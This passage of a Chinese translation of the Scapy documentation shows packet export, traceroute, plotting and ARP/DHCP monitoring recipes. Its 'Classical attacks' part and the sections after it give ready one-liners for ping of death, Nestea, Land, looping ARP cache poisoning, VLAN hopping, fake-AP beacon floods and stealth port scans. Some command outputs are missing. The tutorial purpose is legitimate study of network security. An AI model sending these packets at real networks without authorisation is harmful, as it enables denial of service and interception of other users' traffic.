.PV..P..)+S...E. 708 | 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 709 | 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 710 | 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 711 | 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 712 | 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 713 | 0060 36 37 67 714 | ``` 715 | 716 | 使用`import_hexcap()`函数可以将以上的hexdump重新导入到Scapy中: 717 | 718 | ``` 719 | >>> pkt_hex = Ether(import_hexcap()) 720 | 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 721 | 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 722 | 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 723 | 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 724 | 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 725 | 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 726 | 0060 36 37 67 727 | >>> pkt_hex 728 | >>> 734 | ``` 735 | 736 | ### Hex string 737 | 738 | 使用`str()`函数可以将整个数据包转换成十六进制字符串: 739 | 740 | ``` 741 | >>> pkts = sniff(count = 1) 742 | >>> pkt = pkts[0] 743 | >>> pkt 744 | >>> 750 | >>> pkt_str = str(pkt) 751 | >>> pkt_str 752 | '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 753 | \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 754 | \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b 755 | \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' 756 | ``` 757 | 758 | 通过选择合适的起始层(例如`Ether()`),我们可以重新导入十六进制字符串。 759 | 760 | ``` 761 | >>> new_pkt = Ether(pkt_str) 762 | >>> new_pkt 763 | >>> 769 | ``` 770 | 771 | ### Base64 772 | 773 | 使用`export_object()`函数,Scapy可以数据包转换成base64编码的Python数据结构: 774 | 775 | ``` 776 | >>> pkt 777 | >>> 783 | >>> export_object(pkt) 784 | eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST 785 | OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao 786 | bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT 787 | WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 788 | ... 789 | ``` 790 | 791 | 使用`import_object()`函数,可以将以上输出重新导入到Scapy中: 792 | 793 | ``` 794 | >>> new_pkt = import_object() 795 | eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST 796 | OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao 797 | bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT 798 | WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 799 | ... 800 | >>> new_pkt 801 | >>> 807 | ``` 808 | 809 | ### Sessions 810 | 811 | 最后可以使用`save_session()`函数来保存所有的session变量: 812 | 813 | ``` 814 | >>> dir() 815 | ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] 816 | >>> save_session("session.scapy") 817 | ``` 818 | 819 | 使用`load_session()`函数,在下一次你启动Scapy的时候你就能加载保存的session: 820 | 821 | ``` 822 | >>> dir() 823 | ['__builtins__', 'conf'] 824 | >>> load_session("session.scapy") 825 | >>> dir() 826 | ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] 827 | ``` 828 | 829 | ## Making tables 830 | 831 | 现在我们来演示一下`make_table()`函数的功能。该函数的需要一个列表和另一个函数(返回包含三个元素的元组)作为参数。第一个元素是表格x轴上的一个值,第二个元素是y轴上的值,第三个原始则是坐标(x,y)对应的值,其返回结果为一个表格。这个函数有两个变种,`make_lined_table()`和`make_tex_table()`来复制/粘贴到你的LaTeX报告中。这些函数都可以作为一个结果对象的方法: 832 | 833 | 在这里,我们可以看到一个多机并行的traceroute(Scapy的已经有一个多TCP路由跟踪功能,待会儿可以看到): 834 | 835 | ``` 836 | >>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) 837 | Received 49 packets, got 24 answers, remaining 0 packets 838 | >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 839 | 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 840 | 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 841 | 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 842 | 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 843 | 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 844 | 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 845 | 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 846 | ``` 847 | 848 | 这里有个更复杂的例子:从他们的IPID字段中识别主机。我们可以看到172.20.80.200只有22端口做出了应答,而172.20.80.201则对所有的端口都有应答,而且172.20.80.197对25端口没有应答,但对其他端口都有应答。 849 | 850 | ``` 851 | >>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) 852 | Received 142 packets, got 25 answers, remaining 71 packets 853 | >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%"))) 854 | 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 855 | 20 0 4203 7021 - 11562 856 | 21 0 4204 7022 - 11563 857 | 22 0 4205 7023 11561 11564 858 | 25 0 0 7024 - 11565 859 | 53 0 4207 7025 - 11566 860 | 80 0 4028 7026 - 11567 861 | ``` 862 | 863 | 你在使用TTL和显示接收到的TTL等情况下,它可以很轻松地帮你识别网络拓扑结构。 864 | 865 | ## Routing 866 | 867 | 现在Scapy有自己的路由表了,所以将你的数据包以不同于操作系统的方式路由: 868 | 869 | ``` 870 | >>> conf.route 871 | Network Netmask Gateway Iface 872 | 127.0.0.0 255.0.0.0 0.0.0.0 lo 873 | 192.168.8.0 255.255.255.0 0.0.0.0 eth0 874 | 0.0.0.0 0.0.0.0 192.168.8.1 eth0 875 | >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") 876 | >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") 877 | >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") 878 | >>> conf.route 879 | Network Netmask Gateway Iface 880 | 127.0.0.0 255.0.0.0 0.0.0.0 lo 881 | 192.168.8.0 255.255.255.0 0.0.0.0 eth0 882 | 0.0.0.0 0.0.0.0 192.168.8.254 eth0 883 | 192.168.1.1 255.255.255.255 192.168.8.1 eth0 884 | >>> conf.route.resync() 885 | >>> conf.route 886 | Network Netmask Gateway Iface 887 | 127.0.0.0 255.0.0.0 0.0.0.0 lo 888 | 192.168.8.0 255.255.255.0 0.0.0.0 eth0 889 | 0.0.0.0 0.0.0.0 192.168.8.1 eth0 890 | ``` 891 | 892 | ## Gnuplot 893 | 894 | 我们可以很容易地将收集起来的数据绘制成Gnuplot。(清确保你已经安装了Gnuplot-py和Gnuplot)例如,我们可以通过观察图案知道负载平衡器用了多少个不同的IP堆栈: 895 | 896 | ``` 897 | >>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) 898 | >>> a.plot(lambda x:x[1].id) 899 | 900 | ``` 901 | 902 | ![](http://www.secdev.org/projects/scapy/doc/_images/ipid.png) 903 | 904 | ## TCP traceroute (2) 905 | 906 | Scapy也有强大的TCP traceroute功能。并不像其他traceroute程序那样,需要等待每个节点的回应才去下一个节点,scapy会在同一时间发送所有的数据包。其缺点就是不知道什么时候停止(所以就有maxttl参数),其巨大的优点就是,只用了不到3秒,就可以得到多目标的traceroute结果: 907 | 908 | ``` 909 | >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) 910 | Received 80 packets, got 80 answers, remaining 0 packets 911 | 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 912 | 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 913 | 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 914 | 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 915 | 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 916 | 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 917 | 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 918 | 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 919 | 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 920 | 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 921 | 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 922 | 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 923 | 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 924 | 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 925 | 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 926 | 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 927 | 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 928 | 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 929 | 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 930 | 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 931 | 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 932 | (, ) 933 | ``` 934 | 935 | 最后一行实际上是该函数的返回结果:traceroute返回一个对象和无应答数据包列表。traceroute返回的是一个经典返回对象更加特殊的版本(实际上是一个子类)。我们可以将其保存以备后用,或者是进行一些例如检查填充的更深层次的观察: 936 | 937 | ``` 938 | >>> result,unans=_ 939 | >>> result.show() 940 | 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 941 | 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 942 | 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 943 | 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 944 | [...] 945 | >>> result.filter(lambda x: Padding in x[1]) 946 | ``` 947 | 948 | 和其他返回对象一样,traceroute对象也可以相加: 949 | 950 | ``` 951 | >>> r2,unans=traceroute(["www.voila.com"],maxttl=20) 952 | Received 19 packets, got 19 answers, remaining 1 packets 953 | 195.101.94.25:80 954 | 1 192.168.8.1 955 | 2 82.251.4.254 956 | 3 213.228.4.254 957 | 4 212.27.50.169 958 | 5 212.27.50.162 959 | 6 193.252.161.97 960 | 7 193.252.103.86 961 | 8 193.252.103.77 962 | 9 193.252.101.1 963 | 10 193.252.227.245 964 | 12 195.101.94.25 SA 965 | 13 195.101.94.25 SA 966 | 14 195.101.94.25 SA 967 | 15 195.101.94.25 SA 968 | 16 195.101.94.25 SA 969 | 17 195.101.94.25 SA 970 | 18 195.101.94.25 SA 971 | 19 195.101.94.25 SA 972 | 20 195.101.94.25 SA 973 | >>> 974 | >>> r3=result+r2 975 | >>> r3.show() 976 | 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 977 | 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 978 | 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 979 | 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 980 | 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 981 | 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 982 | 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 983 | 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 984 | 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 985 | 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 986 | 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 987 | 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 988 | 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 989 | 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 990 | 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 991 | 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 992 | 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 993 | 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 994 | 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 995 | 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 996 | 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 997 | ``` 998 | 999 | Traceroute返回对象有一个非常实用的功能:他们会将得到的所有路线做成一个有向图,并用AS组织路线。你需要安装graphviz。在默认情况下会使用ImageMagick显示图形。 1000 | 1001 | ``` 1002 | >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) 1003 | Received 190 packets, got 190 answers, remaining 10 packets 1004 | 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1005 | 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 1006 | 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 1007 | 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... 1008 | [...] 1009 | >>> res.graph() # piped to ImageMagick's display program. Image below. 1010 | >>> res.graph(type="ps",target="| lp") # piped to postscript printer 1011 | >>> res.graph(target="> /tmp/graph.svg") # saved to file 1012 | ``` 1013 | 1014 | ![](http://www.secdev.org/projects/scapy/doc/_images/graph_traceroute.png) 1015 | 1016 | 如果你安装了VPython,你就可以用3D来表示traceroute。右边的按钮是旋转图案,中间的按钮是放大缩小,左边的按钮是移动图案。如果你单击一个球,它的IP地址就会出现/消失。如果你按住Ctrl单击一个球,就会扫描21,22,23,25,80和443端口,并显示结果: 1017 | 1018 | ``` 1019 | >>> res.trace3D() 1020 | ``` 1021 | 1022 | ![](http://www.secdev.org/projects/scapy/doc/_images/trace3d_1.png) 1023 | 1024 | ![](http://www.secdev.org/projects/scapy/doc/_images/trace3d_2.png) 1025 | 1026 | ## Wireless frame injection 1027 | 1028 | frame injection的前提是你的无线网卡和驱动得正确配置好。 1029 | 1030 | ``` 1031 | $ ifconfig wlan0 up 1032 | $ iwpriv wlan0 hostapd 1 1033 | $ ifconfig wlan0ap up 1034 | ``` 1035 | 1036 | 你可以造一个FakeAP: 1037 | 1038 | ``` 1039 | >>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/ 1040 | Dot11Beacon(cap="ESS")/ 1041 | Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/ 1042 | Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/ 1043 | Dot11Elt(ID="DSset",info="\x03")/ 1044 | Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1) 1045 | ``` 1046 | 1047 | 1048 | # 0x02 Simple one-liners 1049 | 1050 | ## ACK Scan 1051 | 1052 | 使用Scapy强大的数据包功能,我们可以快速地复制经典的TCP扫描。例如,模拟ACK Scan将会发送以下字符串: 1053 | 1054 | ``` 1055 | >>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) 1056 | ``` 1057 | 1058 | 我们可以在有应答的数据包中发现未过滤的端口: 1059 | 1060 | ``` 1061 | >>> for s,r in ans: 1062 | ... if s[TCP].dport == r[TCP].sport: 1063 | ... print str(s[TCP].dport) + " is unfiltered" 1064 | ``` 1065 | 1066 | 同样的,可以在无应答的数据包中发现过滤的端口: 1067 | 1068 | ``` 1069 | >>> for s in unans: 1070 | ... print str(s[TCP].dport) + " is filtered" 1071 | ``` 1072 | 1073 | ## Xmas Scan 1074 | 1075 | 可以使用以下的命令来启动Xmas Scan: 1076 | 1077 | ``` 1078 | >>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) 1079 | ``` 1080 | 1081 | 有RST响应则意味着目标主机的对应端口是关闭的。 1082 | 1083 | ## IP Scan 1084 | 1085 | 较低级的IP Scan可以用来枚举支持的协议: 1086 | 1087 | ``` 1088 | >>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) 1089 | ``` 1090 | 1091 | ## ARP Ping 1092 | 1093 | 在本地以太网络上最快速地发现主机的方法莫过于ARP Ping了: 1094 | 1095 | ``` 1096 | >>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) 1097 | ``` 1098 | 1099 | 用以下命令可以来审查应答: 1100 | 1101 | ``` 1102 | >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) 1103 | ``` 1104 | 1105 | Scapy还包含内建函数`arping()`,该函数实现的功能和以上的两个命令类似: 1106 | 1107 | ``` 1108 | >>> arping("192.168.1.*") 1109 | ``` 1110 | 1111 | ## ICMP Ping 1112 | 1113 | 可以用以下的命令来模拟经典的ICMP Ping: 1114 | 1115 | ``` 1116 | >>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP()) 1117 | ``` 1118 | 1119 | 用以下的命令可以收集存活主机的信息: 1120 | 1121 | ``` 1122 | >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) 1123 | ``` 1124 | 1125 | ## TCP Ping 1126 | 1127 | 如果ICMP echo请求被禁止了,我们依旧可以用不同的TCP Pings,就像下面的TCP SYN Ping: 1128 | 1129 | ``` 1130 | >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) 1131 | ``` 1132 | 1133 | 对我们的刺探有任何响应就意味着为一台存活主机,可以用以下的命令收集结果: 1134 | 1135 | ``` 1136 | >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 1137 | ``` 1138 | 1139 | ## UDP Ping 1140 | 1141 | 如果其他的都失败了,还可以使用UDP Ping,它可以让存活主机产生ICMP Port unreachable错误。你可以挑选任何极有可能关闭的端口,就像端口0: 1142 | 1143 | ``` 1144 | >>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) 1145 | ``` 1146 | 1147 | 同样的,使用以下命令收集结果: 1148 | 1149 | ``` 1150 | >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 1151 | ``` 1152 | 1153 | ## Classical attacks 1154 | 1155 | Malformed packets: 1156 | 1157 | ``` 1158 | >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) 1159 | ``` 1160 | 1161 | Ping of death (Muuahahah): 1162 | 1163 | ``` 1164 | >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) 1165 | ``` 1166 | 1167 | Nestea attack: 1168 | 1169 | ``` 1170 | >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) 1171 | >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) 1172 | >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) 1173 | ``` 1174 | 1175 | Land attack (designed for Microsoft Windows): 1176 | 1177 | ``` 1178 | >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) 1179 | ``` 1180 | 1181 | ## ARP cache poisoning 1182 | 1183 | 这种攻击可以通过VLAN跳跃攻击投毒ARP缓存,使得其他客户端无法加入真正的网关地址。 1184 | 1185 | 经典的ARP缓存投毒:     1186 | 1187 | ``` 1188 | >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), 1189 | inter=RandNum(10,40), loop=1 ) 1190 | ``` 1191 | 1192 | 使用double 802.1q封装进行ARP缓存投毒: 1193 | 1194 | ``` 1195 | >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) 1196 | /ARP(op="who-has", psrc=gateway, pdst=client), 1197 | inter=RandNum(10,40), loop=1 ) 1198 | ``` 1199 | 1200 | ## TCP Port Scanning 1201 | 1202 | 发送一个TCP SYN到每一个端口上。等待一个SYN-ACK或者是RST或者是一个ICMP错误: 1203 | 1204 | ``` 1205 | >>> res,unans = sr( IP(dst="target") 1206 | /TCP(flags="S", dport=(1,1024)) ) 1207 | ``` 1208 | 1209 | 将开放的端口结果可视化: 1210 | 1211 | ``` 1212 | >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) 1213 | ``` 1214 | 1215 | ## IKE Scanning 1216 | 1217 | 我们试图通过发送ISAKMP Security Association proposals来确定VPN集中器,并接收应答: 1218 | 1219 | ``` 1220 | >>> res,unans = sr( IP(dst="192.168.1.*")/UDP() 1221 | /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") 1222 | /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) 1223 | ) 1224 | ``` 1225 | 1226 | 可视化结果列表: 1227 | 1228 | ``` 1229 | >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) 1230 | ``` 1231 | 1232 | ## Advanced traceroute 1233 | 1234 | ### TCP SYN traceroute 1235 | 1236 | ``` 1237 | >>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) 1238 | ``` 1239 | 1240 | 结果会是: 1241 | 1242 | ``` 1243 | >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 1244 | 192.168.1.1 time-exceeded 1245 | 68.86.90.162 time-exceeded 1246 | 4.79.43.134 time-exceeded 1247 | 4.79.43.133 time-exceeded 1248 | 4.68.18.126 time-exceeded 1249 | 4.68.123.38 time-exceeded 1250 | 4.2.2.1 SA 1251 | ``` 1252 | 1253 | ### UDP traceroute 1254 | 1255 | 相比较TCP来说, traceroute一个UDP应用程序是不可靠的,因为ta没有握手的过程。我们需要给一个应用性的有效载荷(DNS,ISAKMP,NTP等)来得到一个应答: 1256 | 1257 | ``` 1258 | >>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com")) 1259 | ``` 1260 | 1261 | 我们可以想象得到一个路由器列表的结果: 1262 | 1263 | ``` 1264 | >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) 1265 | ``` 1266 | 1267 | ### DNS traceroute 1268 | 1269 | 我们可以在`traceroute()`函数中设置`l4`参数为一个完整的数据包,来实现DNS traceroute: 1270 | 1271 | ``` 1272 | >>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) 1273 | Begin emission: 1274 | ..*....******...******.***...****Finished to send 30 packets. 1275 | *****...***............................... 1276 | Received 75 packets, got 28 answers, remaining 2 packets 1277 | 4.2.2.1:udp53 1278 | 1 192.168.1.1 11 1279 | 4 68.86.90.162 11 1280 | 5 4.79.43.134 11 1281 | 6 4.79.43.133 11 1282 | 7 4.68.18.62 11 1283 | 8 4.68.123.6 11 1284 | 9 4.2.2.1 1285 | ... 1286 | ``` 1287 | 1288 | ## Etherleaking 1289 | 1290 | ``` 1291 | >>> sr1(IP(dst="172.16.1.232")/ICMP()) 1292 | >> 1294 | ``` 1295 | 1296 | ## ICMP leaking 1297 | 1298 | 这是一个Linux2.0的一个bug: 1299 | 1300 | ``` 1301 | >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) 1302 | >>>> 1306 | ``` 1307 | 1308 | ## VLAN hopping 1309 | 1310 | 在非常特殊的情况下,使用double 802.1q封装,可以将一个数据包跳到另一个VLAN中: 1311 | 1312 | ``` 1313 | >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) 1314 | ``` 1315 | 1316 | ## Wireless sniffing 1317 | 1318 | 以下的命令将会像大多数的无线嗅探器那样显示信息: 1319 | 1320 | ``` 1321 | >>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}")) 1322 | ``` 1323 | 1324 | 以上命令会产生类似如下的输出: 1325 | 1326 | ``` 1327 | 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 1328 | 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 1329 | 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 1330 | 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble 1331 | ``` 1332 | 1333 | # 0x03 Recipes 1334 | 1335 | ## Simplistic ARP Monitor 1336 | 1337 | 以下的程序使用了`sniff()`函数的回调功能(prn参数)。将store参数设置为0,就可以使`sniff()`函数不存储任何数据(否则会存储),所以就可以一直嗅探下去。filter参数 1338 | 则用于在高负荷的情况下有更好的性能:filter会在内核中应用,而且Scapy就只能嗅探到ARP流量。 1339 | 1340 | ```python 1341 | #! /usr/bin/env python 1342 | from scapy.all import * 1343 | 1344 | def arp_monitor_callback(pkt): 1345 | if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at 1346 | return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") 1347 | 1348 | sniff(prn=arp_monitor_callback, filter="arp", store=0) 1349 | ``` 1350 | ## Identifying rogue DHCP servers on your LAN 1351 | 1352 | ### Problem 1353 | 1354 | 你怀疑有人已经在你的LAN中安装了额外的未经授权的DHCP服务器-无论是故意的还是有意的。因此你想要检查是否有任何活动的DHCP服务器,并确定他们的IP和MAC地址。 1355 | 1356 | ### Solution 1357 | 1358 | 使用Scapy发送一个DHCP发现请求,并分析应答: 1359 | 1360 | ``` 1361 | >>> conf.checkIPaddr = False 1362 | >>> fam,hw = get_if_raw_hwaddr(conf.iface) 1363 | >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) 1364 | >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds 1365 | Begin emission: 1366 | Finished to send 1 packets. 1367 | .*...*.. 1368 | Received 8 packets, got 2 answers, remaining 0 packets 1369 | ``` 1370 | 1371 | 在这种情况下,我们得到了两个应答,所以测试网络上有两个活动的DHCP服务器: 1372 | 1373 | ``` 1374 | >>> ans.summarize() 1375 | Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP 1376 | Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP 1377 | }}} 1378 | We are only interested in the MAC and IP addresses of the replies: 1379 | {{{ 1380 | >>> for p in ans: print p[1][Ether].src, p[1][IP].src 1381 | ... 1382 | 00:de:ad:be:ef:00 192.168.1.1 1383 | 00:11:11:22:22:33 192.168.1.11 1384 | ``` 1385 | 1386 | ### Discussion 1387 | 1388 | 我们设置`multi=True`来确保Scapy在接收到第一个响应之后可以等待更多的应答数据包。这也就是我们为什么不用更方便的`dhcp_request()`函数,而是手动地构造DCHP数据包的原因:`dhcp_request()`使用`srp1()`来发送和接收数据包,这样在接收到一个应答数据包之后就会立即返回。 1389 | 1390 | 